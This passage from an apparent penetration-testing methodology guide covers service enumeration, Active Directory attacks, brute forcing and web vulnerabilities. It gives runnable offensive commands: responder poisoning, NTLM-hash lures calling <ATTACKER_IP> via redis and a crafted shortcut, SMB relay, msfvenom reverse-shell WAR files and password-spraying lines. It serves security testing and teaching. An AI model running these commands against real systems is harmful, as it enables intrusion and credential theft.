snmpset [-v 1|2c|3] -c <COMMUNITY_STRING> <TARGET> <OID> <DATA_TYPE> <VALUE>
```

## References

* [What is SNMP?](https://www.site24x7.com/network/what-is-snmp.html)
* [What is SNMP? 2](https://www.manageengine.com/network-monitoring/what-is-snmp.html)
* [Pentesting SNMP](https://book.hacktricks.xyz/pentesting/pentesting-snmp)
* [SNMP pentesting](https://resources.infosecinstitute.com/topic/snmp-pentesting/)
* [SNMP Data types](https://www.webnms.com/cagent/help/technology_used/c_snmp_overview.html)


# 389 - LDAP

## Introduction

**Port**: 389 (TCP)

The **Lightweight Directory Access Protocol** (LDAP) enables anyone to locate data about organisations, users, devices, and other static data within directories. It works with printers, computers, and other devices connected via the Internet or a company’s intranet.

Furthermore, LDAP is a tool for extracting and editing data stored in Active Directory. Each user account in an AD has several attributes, such as the user’s full name and passwords. This information can be easily retrieved by sending string-based queries that match the specified filters.

```
FILTER=(<ATTRIBUTE><COMPARISON_OPERATOR><VALUE>)(cn=*Marmeus*)
```

* Comparison operators: =, >=,<=,\~=

Also, a filter can be the combination of other filters using boolean operators.

* Boolean operators: &, |, !

For example, the following filter searches for all the users whose common name contains "Marmeus".

```
(&(objectClass=user)(cn=*Marmeus*))
```

## General Enumeration

Using Nmap without proving any credentials the attacker could retrieve:

* Available LDAP public information
* The root DSA-specific Entry (DSE)

```
nmap -n -sV -p389 --script="ldap* not brute" <DC_IP>ldapsearch  -LLL -x -h <IP> -s sub -b 'DC=<DOMAIN>' # Obtain data starting from the domain
```

## Impacket

If the attacker has already used AD user credentials, the impacket program GetADUsers.py could gather data about the domain's users and their corresponding email addresses.

```
GetADUsers.py -all <DOMAIN.LOCAL>/<USER>:<PASSWORD> -dc-ip <DC_IP>
```

## Ldapsearch

Ldapsearch allows the attacker to dump the available LDAP information by using anonymous or null binding user credentials. Alternativaly, you can use [PyLDAPSearch](https://github.com/Tw1sm/pyldapsearch).

```
ldapsearch -LLL -x { -h <IP|DOMAIN> | -H ldap://<DOMAIN> } [-D '<DOMAIN/USERNAME>' -w '<PASSWORD>'] [-s <SCOPE>] [-b '<FILTER>']
```

There are different levels of scope:

* **Base**: Examines only the level specified by the base DN.
* **One**: Examines only the level immediately below the base DN
* **Sub**: Examines the subtree below the base DN and includes the base DN level.

### Useful base dn for search

Here you have some base dn for search:

* Find **Naming Contexts** (Get base domain):

```
ldapsearch -LLL -x -h <TARGET> -s base namingcontextsldapsearch -LLL -x -h <TARGET> -b '' -s base '(objectclass=*)'
```

* Obtain more information about the domain. `'DC=<DOMAIN>,DC=<TLD>'`
* Find **users**:`"CN=Users,DC=<DOMAIN>,DC=<TLD>"`
* Show **user information**.`"CN=<USERNAME>,CN=Users,DC=<DOMAIN>,DC=<TLD>"`
* Find **computers**: `"CN=Computers,DC=<DOMAIN>,DC=<TLD>"`
* Find **Administrators**:`"CN=*Admin*,CN=Users,DC=<DOMAIN>,DC=<TLD>"`
* Find **Domain users**: `"CN=Domain Users,CN=Users,DC=<DOMAIN>,DC=<TLD>"`
* Show **Remote Desktop Group** members: `"CN=Remote Desktop Users,CN=Builtin,DC=<DOMAIN>,DC=<TLD>"`
* Find **ServicePrincipalName** accounts: `"(&(samAccountType=805306368)(servicePrincipalName=*))"`
* Find **GPOs**: "`(objectCategory=groupPolicyContianer)"`

Finally, with the following command, you can obtain the number of object occurrences in order to identify less common ones.

```
ldapsearch -x -h <IP> -s sub -b 'DC=<DOMAIN>,DC=com' | awk '{print $1}' | sort | uniq -c | sort -nr 
```

### LDAP To Bloodhound

Some LDAP might be useful to ingest them into BloodHound. To do so, you can use [BOFHound](https://github.com/coffeegist/bofhound) to convert the LDAP search log into a JSON file that can be interpreted by BloodHound.

```bash
bofhound -i ~/.pyldapsearch/logs/pyldapsearch_20250313.log [-o file.json] --properties-level All
```

## References

* [389, 636, 3268, 3269 - Pentesting LDAP](https://book.hacktricks.xyz/pentesting/pentesting-ldap)
* [Enumerating AD users with LDAP](https://vk9-sec.com/enumerating-ad-users-with-ldap/)
* [Windows AD](https://pentestbook.six2dez.com/post-exploitation/windows/ad)
* [WINDOWS ACTIVE DIRECTORY LDAP SEARCH](https://rioasmara.com/2020/02/23/windows-active-directory-ldap-search/)


# 139,445 - SMB

## Introduction

**Port**: 139,445 (TCP)

The **Server Message Block** (SMB) is a network protocol used by Windows-based computers that allow systems within the same network to share files. This service can run on either port 139 or port 445 by default.

## SMB General Enumeration

A quick way to discover NetBIOS services on a network is with **nbtscan**.

```bash
nbtscan -r <NETWORK>/<MASK>
```

With Nmap, you can obtain domains, groups, processes, services, sessions, shares and users.

```bash
sudo nmap --script "smb-enum-*" -p139,445 <TARGET>
sudo nmap --script "smb2*" -p139,445 <TARGET>
```

Then, you can check for vulnerabilities.

```bash
sudo nmap --script "smb-vuln-*" -p139,445 <TARGET>
```

Thanks to crackmapexec and valid credentials, you can obtain helpful information with the following options:

* \--sam
* \--lsa
* \--sessions
* \--loggedon-users
* \--disks
* \--local-groups
* \--pass-pol
* \--rid-brute
* \--shares

```bash
crackmapexec smb <IP|RANGE> -d <DOMAIN> -u '<USERNAME>' -p '[ <PASSWORD> ]' [--<Option>]
```

Finally, you can use enum4linux to gather even more information:

```bash
enum4linux -a [-u "username" -p "password"] <IP>enum4linux -A [-u "username" -p "password"] <IP>enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>
```

## User enumeration

After executing the Nmap scan, you should check if it allows `NULL`, guest or anonymous login to check if shares are available.

**Note**: `-N` is for not prompting for a password.

```bash
smbclient -N -L //<IP>/ [-U "[guest|anonymous]%[guest]"]
```

With crackmapexec this can be achieve with the following command.

```
crackmapexec smb <IP|RANGE> -d <DOMAIN> -u '<USERNAMES.TXT>' -p '[ <PASSWORDS.TXT> ]'
```

## rpcclient enumeration - port: 135

Thanks to rpcclient, you can obtain information about the domain, printers, groups and users.

```bash
rpcclient -U '[<USERNAME>]' [-N] <TARGET> 
> querydominfo
> querydispinfo
> getdompwinfo
> enumdomusers
> enumprinters
> querydispinfo
> netshareenum
> netshareenumall
```

### RID CYCLING ATTACK

Enumerate users by brute-forcing the RID on the remote target.

```bash
crackmapexec smb <IP> -d <DOMAIN>  -u '<USERNAME>' -p '<PASSWORD>' {--rid-brute | --users}
lookupsid.py '<DOMAIN>/<USERNAME>%<PASSWORD>'@<TARGET> [-no-pass]
```

## Shares enumeration

Once checked that the attacker has access to the SMB service, it has to check the permissions for each share:

```bash
smbmap [-u "<USERNAME>" -p "[<PASSWORD>|<NTLM<_HASH>]"] -H <IP>
crackmapexec smb <IP|RANGE> -u '[<USERNAME>]' [-p '[<PASSWORD>]' | -H <NTLM_HASH> ] --shares
./checkSMBPermissions.sh <DOMAIN\\USER> <PASSWORD> <IP>
```

In case of read access, you can list the files of each share:

```bash
smbclient -L //<IP>/<SHARE> -U "[<USERNAME>]%[<PASSWORD>]"
# Recursive list
smbmap [-u "<USERNAME>" -p "<PASSWORD>"] -R [<SHARE>] -H <IP> [-P <PORT>] 
# Non-Recursive list
smbmap [-u "<USERNAME>" -p "<PASSWORD>"] -r [<SHARE>] -H <IP> [-P <PORT>] 
```

Finally, you can access a share to upload or download the files manually or recursively.

```bash
smbclient //IP/<SHARE> -U "[<USERNAME>]%[<PASSWORD>]"
# Manually
smb: \> get <FILE>
smb: \> put <LOCAL_FILE>
# Recursive download
smb: \> prompt
smb: \> recurse
smb: \> mget *
```

Alternatively, you can mount a share to explore it.

```bash
sudo apt-get install cifs-utils
mount -t cifs //<IP>/<SHARE> <LOCAL_FOLDER> -o 'user=,password='
```

## Netbios Enumeration- Port 139

```bash
nmblookup -A IPnbtscan IP 
```

### LANMAN1 Error

On older hosts, you can encounter errors interacting with them. As a solution add `client min protocol = LANMAN1` to GLOBAL setting in `/etc/samba/smb.conf`

```bash
# Change this to the workgroup/NT-domain name your Samba server will part of
    workgroup = WORKGROUP
    client min protocol = LANMAN1
#### Networking ####
```

Another alternative is using `--option='client min protocol'=LANMAN1` with the smbclient command.


# Active Directory

## Introduction

Active Directory (AD) allows network administrators to control computers and services and the interaction between them and the user within the domain.

The data is stored in a hierarchical structure consisting of five main components: Objects, Organizational Units, domains, trees, and forests.

* **Object**: An object is an essential element in AD that represents a user, a group, a computer, an application, a printer, or a shared folder.
* **Organizational Unit (OU)**: An Organizational Unit is an object that acts as a "directory" of objects. It can also contain other organizational units.
* **Domain**: A domain represents a group of objects which share the same AD database (AD DB).
* **Tree**: A tree is a collection of one or more domains in a contiguous namespace. For instance, "uk.example.com" and "es.example.com" are considered in the same tree.
* **Forest**: A forest is a collection of trees where the trees can trust each other and share directory schemes, application information and domain configuration.

![AD Object structure](/files/yz6M1A5krnlZ9L5NaBFQ)

Finally, Active Directory is a combination of services:

* **Domain Services**: The primary function is to store data and manage communications between users and the DC.
* **Certificate Services**: Creates, manages and shares encryption certificates for exchanging information securely over the internet.
* **Lightweight Directory Services**: Supports LDAP for cross-platform domain services.
* **Active Directory Federation Services**: Provides users with **Single Sign-On** (SSO) authentication to access multiple applications in the same session, so users do not have to provide the same credentials.
* **Rights Management**: Controls information rights and data access policies. It also encrypts the content, such as documents or emails.

## Enumeration

Since Active Directory is a set of services, a domain can contain services like SMTP, Web, and SMB that the attacker will have to exploit them to obtain some credentials or access the system. There are [cheatsheets](https://wadcoms.github.io) and [mindmaps](https://www.xmind.net/m/5dypm8/) that the attacker can follow to gather information.

Nonetheless, a good starting point would be to gather information about the DNS, SMB, LDAP and Kerberos services.

## Poison the network

With the use of the tool responder, an attacker can poison the network (LLMNR, NBT-NS, MDNS protocols) so that the victims will communicate with their machine. If the host belongs to a resource that requires identification, the user and their NTLMv2 hash will be sent to the attacker. After that, they can be cracked offline and then used to access the poisoned victims' machines.

```bash
sudo responder -I <NETWORK_INTERFACE> -Prdwv 
```

### Triggering responder

If an attacker got RCE on a service that has an associated AD account or wants to perform social engineering, here there are some tips to obtain NTLM hashes with responder.

#### Redis

```bash
redis-cli -h <IP> -p <PORT> eval "dofile('//<ATTACKER_IP>//share')" 0
```

#### CMD

Through the CLI you can access the responder server in order to obtain the user's NTLM hash.

```bash
C:\Users\victim> \\<ATTACKER_IP>\
```

#### Windows shortcut

You can create windows shortcuts with [mslink.sh](http://www.mamachine.org/mslink/mslink_v1.3.sh) to retrieve the NTLM hash once the victim clicks on it.

```
./mslink_v1.3.sh -l name -n shortcut -i \\\\<ATTACKER_IP>\\a -o out.lnk
```

### SMB Relay Attack

An SMB Relay attack consists when an attacker captures a user's NTLM hash and relays it into another machine on the network to gain a remote shell or file access.

This attack only works if **SMB Signing is disabled** on the target, you can check it by executing the following command against the victim machine.

```bash
nmap --script=smb2-security-mode.nse -p445 -Pn <VICTIMS_IP>
```

If "Message signing enabled but not required" appears in the result, the machine is vulnerable.

Turn off SMB in the Responder configuration as NTLMRelayX will be handling SMB.

```bash
sudo sed -i 's/SMB = On/SMB = Off/' /etc/responder/Responder.conf
responder.py -I eth0 -wdr -v
```

Then, you need to execute the impacket module ntlmrelayx to obtain an interactive shell, waiting for the responder to obtain an NTLM response.

```bash
ntlmrelayx -tf <TARGET> -smb2support -i
```

## References

* [Windows/AD cheatsheet environments cheatsheet](https://wadcoms.github.io)
* [Pentesting AD MindMap](https://www.xmind.net/m/5dypm8/)
* [Active Directory Methodology](https://book.hacktricks.xyz/windows/active-directory-methodology)
* [Pentesting Active Directory](https://www.xmind.net/m/5dypm8/)
* [Active Directory Exploitation Cheat Sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet)
* [SMB Relay Attack](https://viperone.gitbook.io/pentest-everything/everything/everything-windows/attacking-windows/relay-attacks/smb-relay)
* [What is Active Directory and how does it work?](https://www.techtarget.com/searchwindowsserver/definition/Active-Directory)
* [Active Directory Domain Services](https://www.varonis.com/blog/active-directory-domain-services)
* [Gaining Credentials Easily with Responder Tool](https://medium.com/mii-cybersec/gaining-credentials-easily-with-responder-tool-b821f33e342b)


# 2 - Exploitation

The exploitation phase in a penetration test focuses on exploiting the vulnerabilities that have been discovered in the previous stage to establish unauthorised access to a system or resource. This can be done by exploiting weak passwords, out-of-date services, services misconfiguration, incorrect input sanitation...

Once a system is successfully compromised, it is often possible to penetrate more systems because you now have access to more potential targets that were not available before (Post-Exploitation).

Finally, an exploit should be performed only when you are confident that triggering the vulnerability will be successful. Otherwise, you could lead the machine to an inconsistent state, leading to a DoS, corrupting data and getting detected.


# Brute Forcing

## Introduction

One way to gain access to a company's website, service, infrastructure, computers... can be achieved using default credentials or weak credentials. For example, the administrator password for the company's firewall could be "spring2022".

## Default credentials

Many web applications, services, and devices have a default administrator account with a default password. However, the password might not have been changed after the device was set up. This is an opportunity for the attacker to obtain the default credentials for the technology to gain access.

Try to identify the software, find whether it uses default passwords and if so, what they are:

* Search for "\<SOFTWARE> default password".
* Try the same user as the password.
* Review the documentation.
* Review the source code, if available.
* Check for default credentials databases:
  * [Cirt - Default passwords](https://cirt.net/passwords)
  * [SectLists - Default Credentials](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials)
  * [Passwords Database](https://www.passwordsdatabase.com)
  * [Data Recovery - Default Passwords](https://datarecovery.com/rd/default-passwords/)
  * [DefaultCreds Cheat Sheet](https://github.com/ihebski/DefaultCreds-cheat-sheet)

## Dictionaries

In case the default credentials for the target did not work, an attacker could use already existing dictionaries with default passwords or craft a dictionary based on the password policies of the targeted company.

### Existing dictionaries

There are already built dictionaries with thousands of passwords.

* [Kaonashi](https://github.com/kaonashi-passwords/Kaonashi)
* [Rockyou](https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt)
* [SecList - Passwords](https://github.com/danielmiessler/SecLists/tree/master/Passwords)

### Crafting dictionaries

Based on the information of the target we can craft personalized dictionaries. Moreover, there are tools that can facilitate the attacker the work.

* **Cewl**: Crawls the website you provided for commonly-used keywords and collects them into a list for you.

```bash
cewl <URL> --with-numbers -n -m 5 -d 3 -w output.txt
```

* **Crunch**: you can specify a character set, and it will generate a huge number of permutations using the characters you specify.

```bash
# Generate a combination with a set of alphanumeric characters
crunch 5 8 abcdefghijlkmnñopqrstuvwxyzABCDEFGHIJLKMNÑOPQRSTUVWXYZ0123456789
```

* **Cupp**: Generates passwords based on provided keywords about the target.

```bash
cupp -i
```

## Attacks

This subsection contains commands to perform brute force attacks on different technologies.

### FTP

```bash
hydra {-L <USERS.TXT> | -l <USER>} {-P <WORDLIST.TXT>] | -p <PASSWORD>} ftp://<TARGET>
```

### SSH

```bash
hydra {-L <USERS.TXT> | -l <USER>} {-P <WORDLIST.TXT> | -p <PASSWORD>} -f ssh://<TARGET>
nmap -n -p 22 --script ssh-brute <TARGET>
nmap -n -p 22 --script ssh-publickey-acceptance --script-args "ssh.usernames={'<USER1>', '<USER2>'}, ssh.privatekeys={'<PRIVATE_KEY_1>', '<PRIVATE_KEY_2>'}"  <TARGET>
```

### Web

An attacker could encounter different login portals during a web analysis that can be brute-forced.

#### Basic Authentication

```bash
hydra -I {-l <username> | -L <USERS.TXT>} {-p <PASSWORD> | -P <WORDLIST.txt>} -f <IP> -s <PORT> http-get <URL>
```

#### Post Authentication

```bash
hydra {-l <username> | -L <USERS.TXT>}  {-p <PASSWORD> | -P <WORDLIST.txt>} <TARGET> -V http-form-post '<ENDPOINT>:<usernam=^USER^&pwd=^PASS^>:<WRONG CREDENTIALS M'
```

**Note**: Nowadays, hydra does not support forms with CRFS tokens. Thus, a solution would be to use Burp Suite.

#### WordPress

```bash
wpscan --url <WORDPRESS_URL> –-passwords <WORDLIST.TXT> -–usernames <USERS.TXT> -–max-threads <NUMBER_THREADS>
```

### Kerberos

There are several ways to perform a brute-force attack against a Kerberos service.

```bash
# with a list of users
python kerbrute.py -domain <DOMAIN> -users <USERS.TXT> -passwords <WORDLIST.TXT> -outputfile <OUTPUT.TXT>
.\Rubeus.exe brute /users: <USERS.TXT> /passwords:<WORDLIST.TXT> /domain:<DOMAIN> /outfile:<OUTPUT.TXT>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<WORDLIST.TXT> /outfile:<OUTPUT.TXT>
```

### POP3

```bash
nmap -n -p110 --script pop3-brute <TARGET>
hydra  {-L <USERS.TXT> | -l <USER>} {-P <WORDLIST.TXT> | -p <PASSWORD>} -f <TARGET> pop3 -V
```

### SMB

First of all, check the passwords policy to avoid banning accounts.

```bash
crackmapexec smb <IP> --pas-pol
```

Then, you can brute-forcing with the following tools.

```bash
crackmapexec smb <TARGET> -u {<USERS.TXT>|<USER>} -p {<WORDLIST.TXT>|<PASSWORD>} [--continue-on-success]
hydra {-L <USER.TXT> | -l <USERNAME>} {-P <WORDLIST.TXT> | -p <PASSWORD>} smb://<TARGET>
```

### SNMP

You can brute force SNMP community strings with **hydra**.

```bash
hydra -P /usr/share/wordlists/SecLists/Discovery/SNMP/common-snmp-community-strings.txt <TARGET> snmp
```

### LDAP

Attempts to brute-force LDAP authentication. By default, it uses the built-in username and password lists. In order to use your own lists use the `userdb` and `passdb` script arguments.

```bash
nmap --script ldap-brute -p 389 <IP>
```

Another option is to use hydra.

```bash
hydra {-L <USERS.TXT> | -l <USER>} {-P <WORDLIST.TXT> | -p <PASSWORD>} -f ldap2://<TARGET>
```

## References

* [Authentication Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/)
* [Brute Force - CheatSheet](https://book.hacktricks.xyz/brute-force)


# WEB

## Introduction

Nowadays, websites are programmed using various technologies such as databases, web development frameworks, programming languages, APIs, data formats, protocols and browsers. Each of them has specific vulnerabilities that the developer should be aware of, which is not always the case, as you can see in [OWASP Top Ten](https://owasp.org/www-project-top-ten/).

This section contains several vulnerabilities worth checking if you encounter a web pentesting.

## Form fuzzing

During a web vulnerability assessment, it is for sure that the web page might have one or several post forms asking for user data.

Fuzzing the forms might allow you to brute force credentials or discover vulnerabilities like SSTI, SQLi, XSS, etc.

```bash
ffuf -w "./usuarios.txt:USERS" -w "./wordlist.txt:PASSWDS" -t 60 -u http://<URL>/login  -H "Content-Type: application/json;charset=utf-8" -X POST -d '{"username":"USERS","password":"PASSWDS"}'
```

There might also be the case that you need to encode the data (URL format, base64, etc.) before sending it to the server. For doing so, you need to use **wfuzz** because **ffuf** **doesn't** support it.

```bash
wfuzz -u http://<URL>/search -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'name=FUZZ'  -z file,/usr/share/wordlists/SecLists/Fuzzing/special-chars.txt,urlencode
```

## Bypass Forbidden

If the web service is misconfigured, you can try several techniques and tools to bypass filters.

```bash
GET /admin ==> 403 Forbidden
GET /blablabal/%2e%2e/admin ==> 200 OK
GET /blablabal/..;/admin ==> 200 OK
GET /blablabal/;/admin ==> 200 OK
GET /blablabal/admin/..;/ ==> 200 OK
GET /admin?access=1 ==> 200 OK
```

There are several tools that you can use to try to bypass such filters:

* [bypass-url-parser](https://github.com/laluka/bypass-url-parser)
* [dontgo403](https://github.com/devploit/dontgo403)
* [forbidden](https://github.com/ivan-sincek/forbidden)
* [byp4xx](https://github.com/lobuhi/byp4xx)

**Note**: If you want to try all them at the same time you can use [403bypasser\_installer.sh](https://github.com/Marmeus/Kali-Booster/blob/main/Scripts/403bypasser_installer.sh) to install such tools and [403bypasser.sh](https://github.com/Marmeus/Kali-Booster/blob/main/Scripts/403bypasser.sh) to use them.


# Apache Tomcat

## Introduction

Tomcat Manager Application is a Java-Based HTTP Web Server, that uses Web Application Archive (WAR) files. These files contain Java Servlets and JavaServer Pages(JSP) which add functionality to the application.

If an attacker gains attackers gains access to the Tomcat Manager Application due to [default credentials](https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown) `tomcat:s3cret` or weak credentials, the attacker could gain RCE by uploading a malicious WAR file.

## Reverse shell

You can use Msfvenom to create your own .war file that contains a reverse shell.

```bash
# Linux
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.122 LPORT=443 -f war -o revshell.war
# Windows
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.15.83 LPORT=9002 -f war > revshell.war
```

Then, accessing `/manager/html` you can deploy the WAR file, which once accessed you will obtain a reverse shell.

![Tomcat Manager App](/files/7UIvJNgf0jSa4mRG7ony)

### Upload via curl

If the tomcat server is **misconfigured** or you have access to the tomcat service with **localhost**, you could deploy/undeploy a reverse shell without accessing the web interface.

```bash
# Deploy
curl --user '<USER>:<PASSWORD>' --upload-file shell.war <TARGET_IP>:8080/manager/deploy?path=/shell
curl http://<TARGET_IP>:8080/shell/ # The reverse shell endpoint

# Undeploy
curl "http://<USER>:<PASSWORD>@localhost:8080/manager/text/undeploy?path=/revereshell"
```

## Tomcat path traversal

When Apache Tomcat is used together with a reverse proxy, Tomcat will treat the sequence `/..;/` as `/../` allowing the attacker to access Tomcat resources that are not normally accessible via the reverse proxy mapping.

```
https://<TARGET_IP>/manager/status/..;/html/
```

## GhosCat (CVE-2020-1938)

[CVE-2020-1938](https://github.com/00theway/Ghostcat-CNVD-2020-10487) allows an unauthenticated attacker to read web application files from a vulnerable server through port 8009.

```bash
python3 ajpShooter.py http://<TARGET_IP>:8080 8009 /WEB-INF/web.xml read
```

## Brute forcing

Use it as your last resource because you might block the account.

```bash
hydra -L <USERS.txt> -P <PASWORDS.txt> http-get://<TARGET_IP>:8080/manager/html
```

## References

* [Tomcat](https://book.hacktricks.xyz/pentesting/pentesting-web/tomcat)
* [Multiple Ways to Exploit Tomcat Manager](https://www.hackingarticles.in/multiple-ways-to-exploit-tomcat-manager/)
* [Tomcat path traversal via reverse proxy mapping](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)
* [Breaking Parser Logic!](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf)


# Authentication

## Introduction

Nowadays, all web application have a log in portal or some kind of mechanism to authenticate a user who it claim to be.

This kind of attacks can be categorized in three main categories: password-based login, multi-factor authentication and other authentication mechanisms.

## Password Based logins

In this type of logins a username and a password is required in order to verify a user's identity. Hence, if there is any kind of technique behaviour on the website which could allow an attacker to guess the username or password, it could mean that is is possible to impersonate any user on the application.

This behaviour could consist of:

* **Status code**: In some cases the web application will response with a different status code if the guessed username and/or password is correct.
* **Error message**: The error message might like "Username is invalid" might vary if the guessed username and/or password is NOT correct
* **Response time**: If the guessed username and/or password is correct, it might take an extra amount of time to response because the application might have to perform extra steps.

### Username guessing and enumeration

If you are auditing the software from a company it is pretty common that the username in their applications follows some of the following structures:

* \<firstname>.\<surname>@\<companyname>.com
* \<firstname>\<surname\_initial>@\<companyname>.com

You can also guess its structure by making performing some OSINT techniques or brute force attacks using a wordlist of usernames.

#### Account locking

Some websites try to prevent brute-forcing by locking the user account if a number of failed login attempts is met. Hence, if an attacker tries several wrong passwords and a message is received saying that the account is locked, we can take for certain than the account exists.

### Password brute forcing

#### Account locking bypass

If the web application bans your IP after too many log in attempts, you need first to check how many wrong log in attempts are needed thus the application bans your IP (#BlockTries). Then, try to perform a brute forcing attack but after #BlockTries-1 perform a successful login, so the counter is reset to 0.

## Multi-factor authentication

### MFA process not required

It might be the case that just after submitting the credentials but before submitting the MFA code, you might already logged in. So, by changing the URL you can access the functions of the website.

### M2A brute forcing code

Some websites doesn't provide countermeasures in order to perform brute force attacks to the 2FA code. Hence, if the code is small it might be easily brute forced and so spoof the victim's account.

### M2A doesn't validate properly authentication code

Another vulnerability that in 2FA the application doesn't check whose code is submitted and only checks if the code valid. Thus, an attacker could provide a 2FA authentication code from a legitim account bypassing the authentication process.

## Other authentication mechanisms

### Password rese broken mechanism

Some websites can fail to validate the token provided to reset victim's password. So, an attacker can exploit this vulnerability by submitting a token from a different account or by just removing the token and providing victim's username.

### Password reset poisoning via middleware

It can be the case that the application uses some kind of middleware in order to send the reset password email with the reset password link on it. If the middleware uses headers like `X-Forwarded-Host` to modify the domain of the reset URL, an attacker could send a malicious domain, obtaining the password reset token once the victim has clicked on the link.

### Password brute-force via password change

After being logged in to the web application, most of the web site allow the user to change the user's password by providing the current password and the new password a couple of times. Thus, if the application behaves like you enter two different new passwords, an error message such as "Current password is incorrect" will appear, but if you enter a valid current password, but two different new passwords, the message says "New passwords do not match". Hence, you can message to enumerate correct passwords.

## References

* [Authentication vulnerabilities - PortSwigger](https://portswigger.net/web-security/authentication)


# Broken Access Control

## Introduction

Access control, sometimes called authorisation, determines whether a user is allowed to carry out an action or access unauthorised content. The consequences of a flawed access control scheme can be devastating. In addition to viewing unauthorised content, an attacker might be able to change or delete content, perform unauthorised functions, or even take over site administration.

Access control can be divided into several categories, similar to privilege escalation:

* **Vertical access control** is focused on accessing resources or functions depending on the individual's level or position within the hierarchy in the application. For instance, the administrator will have access to all resources but a normal user only to a small set.
* **Horizontal access control** is more oriented to accessing information of users that are at the same level of the hierarchy but have different roles. For example, a user with the role of a salesman might not have access or functionalities permissions that a user with the role accountant.
* **Context-dependent access control**, resources or information is granted or denied based on the state of the application or the user's interaction with it. To illustrate, a shopping website might prevent users from modifying the contents or quantities of their shopping cart after the payment has been made.

## Bypassing Authorization Schema

For every specific role that exists on the application and for every function and request that the application executes during the post-authentication phase, it is necessary to check the following:

* [ ] Is it possible to access a certain resource even if the user is not authenticated?
* [ ] Is it possible to access a certain resource after logging out?
* [ ] Is it possible to access functions and resources that should be accessible to a user that holds a different role or privilege?

Then, try to access the application as an administrative user and track all the administrative functions.

* [ ] Is it possible to access administrative functions as a non-admin user?
* [ ] Is it possible to use these administrative functions as a user with a different role, and for whom should that action be denied?

In order to facilitate the checks you must perform, there is a BurpSuite extension named [Authorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f), where you can set the session cookies or headers of a user with a different role in order to check if you can access certain functions or resources as that user or non logged.

## Parameter manipulation

While executing certain functions or accessing certain endpoints, the application might send some special parameters like `?role=0` , `?userId=12`, `?img=000001`. Hence, try to brute force those values trying to get a different response or even access to those assets.

This type of vulnerability can also be known as Insecure Direct Object References (**IDOR**) when an application provides direct access to objects based on user-supplied input.

## Header manipulation

The web application might also check the headers on the request in order to grant access to certain resources or functions.

If the checks the methods in order to grant access to certain assets, try to perform a dictionary attack with every existing HTTP methods.

* The `GET` method requests a representation of a specific resource. Requests using the `GET` method should only retrieve data.
* The `HEAD` method requests a response identical to that of a GET request but without the response body.
* The `POST` method is used to send an entity to a specific resource, often causing a change in state or side effects on the server.
* The `PUT` mode replaces all current representations of the destination resource with the payload of the request.
* The `DELETE` method deletes a specific resource.
* The `CONNECT` method establishes a tunnel to the server identified by the resource.
* The `OPTIONS` method is used to describe the communication options for the destination resource.
* The `TRACE` method performs a message loopback test along the path to the destination resource.
* The `PATCH` method is used to apply partial modifications to a resource.

You can perform this task with Nmap, despite **only** working for **HTTP** sites, with the following command.

```bash
nmap -p <PORT> --script http-methods --script-args http-methods.url-path='</index.php>' <HOST>
```

Another alternative is the use of special HTTP headers like the following.

```http
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-IP: 127.0.0.1
X-Forwarded-Server: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Host: 127.0.0.1
X-HTTP-Host-Override: 127.0.0.1
X-Client: 127.0.0.1
X-Host: 127.0.0.1
Referer: https://localhost
```

You can use, once again, the tool [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to discover headers by right-clicking on the request and then `Extensions/Param Miner/Guess params/Guess headers` .

Finally, there are tools that perform the combination of both things and also another set of techniques like the Burp Suite plugin [403 bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122) or tools such as [byp4xx](https://github.com/lobuhi/byp4xx), [bypass-url-parser](https://github.com/laluka/bypass-url-parser) and [dontgo403](https://github.com/devploit/dontgo403).

## References

* [Authorization Testing](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/)
* [Access control vulnerabilities and privilege escalation](https://portswigger.net/web-security/access-control)


# Cache poisoning

## Introduction

Web cache poisoning is a type of web vulnerability that occurs when an attacker is able to inject malicious data into the cache server so that a harmful HTTP response is served to other users. This type of attack can be used to distribute various types of attacks, such as cross-site scripting (XSS), JavaScript injection, and open redirection vulnerabilities.

Web cache poisoning involves two steps. First, the attacker must figure out how to get a response from the back-end server that includes a harmful payload. Then, the attacker must ensure that this response is saved in the cache and served to its intended targets.

In order to store the response on the server's cache, the attacker has to determine which components of the request are "cache keys " and which of them are "unkeyed". If a request includes a cache key that matches the cache key of a previous request, the cache will treat them as equivalent and will serve a copy of the previously generated response from the cache. This will happen for all subsequent requests with the same cache key until the cached response expires.

**Note**: Sending the header `Pragma: akamai-x-get-cache-key` can be used to display the cache key in the response headers.

```http
GET /?param=1 HTTP/1.1
Host: example.com
Pragma: akamai-x-get-cache-key

HTTP/1.1 200 OK
X-Cache-Key: example/?param=1
```

## Identify unkeyed inputs

The first step in launching a web cache poisoning attack is identifying unkeyed inputs, such as headers, that are ignored by the cache server when deciding whether to serve a cached response to the user. Hence, you can use the unkeyed inputs to inject your payload to elicit a "poisoned" response from the server. If this response is cached, it will be served to all users whose requests have the matching cache key.

The best way to identify unkeyed inputs is using the Burp Suite extension [Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943). Right-click on a request you want to analyze and click on `Extensions/Param Miner/Guess params/` and the thing you want to guess. The results will appear as Issues on the `Target/Site Map` section.

Moreover, you can also select the options "Add static/dynamic cache buster" and "Include cache busters in headers", which will then automatically add a cache buster to commonly keyed headers in any requests that you send using Burp's manual testing tools.

